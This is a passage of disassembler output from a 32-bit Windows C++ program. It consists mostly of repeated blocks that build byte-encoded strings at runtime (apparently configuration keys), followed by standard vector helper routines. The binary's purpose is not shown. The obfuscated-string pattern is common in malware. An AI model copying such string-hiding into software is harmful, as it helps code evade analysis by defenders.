call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx mov byte ptr [esp+3DCh], 34h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 35h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 36h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+218h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 37h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h mov byte ptr [esp+390h], 3Ah push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Ch call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D835F push eax mov [esp+14h], edi call sub_401A73 lea ecx, [esp+68h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Dh call sub_4019C4 add esp, 64h mov byte ptr [esp+370h], 3Eh mov ecx, eax call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Fh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 40h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 41h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 42h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 mov byte ptr [esp+374h], 43h push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 44h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 45h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 46h call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 47h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 48h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+90h] push 13h push eax mov byte ptr [esp+3DCh], 49h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 4Ah call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Bh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h mov byte ptr [esp+378h], 4Ch push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Dh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Eh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Fh call sub_4019C4 add esp, 60h mov byte ptr [esp+370h], 50h mov ecx, eax call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 51h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D835F push edx mov [esp+14h], edi call sub_401A73 push offset byte_448F40 push offset word_4E8E6A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_40142E lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_40142E push 56D2h push 539h mov byte ptr [esp+360h], 53h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea eax, [esp+23Ch] push offset dword_4447F4 push eax call sub_40102D push 56D2h push 539h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea ecx, [esp+280h] push offset dword_4447F4 push ecx call sub_40102D add esp, 10h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp lea edx, [esp+44h] mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp lea edx, [esp+278h] push edx call sub_4014D3 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+260h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E8E6A call sub_4014D3 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1A0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 16Dh call sub_4017EE push eax push offset byte_4493FD mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 1B6h call sub_4017EE push eax push offset dword_4493B4 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] call sub_4017EE push eax push offset dword_449290 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 124h call sub_4017EE push eax push offset word_449322 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 0DBh call sub_4017EE push eax push offset byte_4492D9 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 92h call sub_4017EE push eax push offset byte_44936B mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 1FFh call sub_4017EE push eax push offset byte_44948F mov ecx, offset word_44ACE6 call sub_4015A0 lea ecx, [esp+200h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 lea ecx, [esp+290h] mov byte ptr [esp+370h], 54h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax call sub_401870 lea ecx, [esp+128h] mov byte ptr [esp+388h], 55h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0A4h], esp push eax call sub_401870 lea ecx, [esp+170h] mov byte ptr [esp+3A0h], 56h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0C0h], esp push eax call sub_401870 mov ecx, offset word_44AC6E mov byte ptr [esp+3B8h], 53h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 mov byte ptr [esp+358h], 1Ch lea ecx, [esp+2Ch] call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 2 call sub_401226 mov byte ptr [esp+358h], 1 lea ecx, [esp+1E8h] call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+98h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 5E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401983 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409548 mov ecx, esi call sub_40191A ; --------------------------------------------------------------------------- loc_409548: ; CODE XREF: sub_409530+Fj mov ecx, esi call sub_401A46 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409570 proc near ; CODE XREF: sub_401A73j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_401695 pop esi retn 4 sub_409570 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095A0 proc near ; CODE XREF: sub_401A46j mov eax, [ecx+4] retn sub_4095A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095C0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4095C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095E0 proc near ; CODE XREF: sub_401983j mov edx, [ecx+4] test edx, edx jnz short loc_4095EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4095EA: ; CODE XREF: sub_4095E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_4095E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409610 proc near ; CODE XREF: sub_401695j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A46 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401BAE mov ecx, edi call sub_401A46 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409610 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409660 proc near ; CODE XREF: sub_40191Aj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_440088 push edx call sub_437B22 sub_409660 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096E0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4097AB mov ecx, esi call sub_401983 cmp edi, eax jnb short loc_409713 mov ecx, esi call sub_401983 mov ebp, eax jmp short loc_409715 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096E0+26j mov ebp, edi loc_409715: ; CODE XREF: sub_4096E0+31j mov ecx, esi call sub_401983 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CC1 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016E0 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401983 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4097AB: ; CODE XREF: sub_4096E0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409809 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401FB4 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409809: ; CODE XREF: sub_4096E0+D8j test edi, edi jbe short loc_409843 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016E0 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CDF mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401FB4 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409843: ; CODE XREF: sub_4096E0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_4096E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098B0 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4098D0 loc_4098C1: ; CODE XREF: sub_4098B0+1Ej push esi mov ecx, edi call sub_402090 add esi, 4 cmp esi, ebx jnz short loc_4098C1 loc_4098D0: ; CODE XREF: sub_4098B0+Fj pop edi pop esi pop ebx retn 8 sub_4098B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098F0 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4098F0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409910 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409930 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409962 push edi mov edi, [esp+10h+arg_8] loc_409946: ; CODE XREF: sub_409930+27j push esi push edi mov ecx, ebx call sub_4015B4 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409946 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_409930+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409930 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409980 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4099A7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409996: ; CODE XREF: sub_409980+23j push ebx push esi mov ecx, ebp call sub_4015B4 add esi, 4 dec edi jnz short loc_409996 pop esi pop ebx loc_4099A7: ; CODE XREF: sub_409980+Aj pop edi pop ebp retn 0Ch sub_409980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099C0 proc near ; CODE XREF: sub_401CC1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402059 sub_4099C0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099F0 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_4099F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A20 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_409A3D mov edx, [esp+arg_8] push esi loc_409A31: ; CODE XREF: sub_409A20+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409A31 pop esi locret_409A3D: ; CODE XREF: sub_409A20+Aj retn sub_409A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A50 proc near ; CODE XREF: sub_401CDFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409A72 mov eax, [esp+arg_8] push esi loc_409A61: ; CODE XREF: sub_409A50+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409A61 pop esi retn ; --------------------------------------------------------------------------- loc_409A72: ; CODE XREF: sub_409A50+Aj mov eax, [esp+arg_8] retn sub_409A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AB0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_409ABA xor eax, eax loc_409ABA: ; CODE XREF: sub_409AB0+6j shl eax, 2 push eax call sub_437AEA sub_409AB0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409AFB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409AFB: ; CODE XREF: 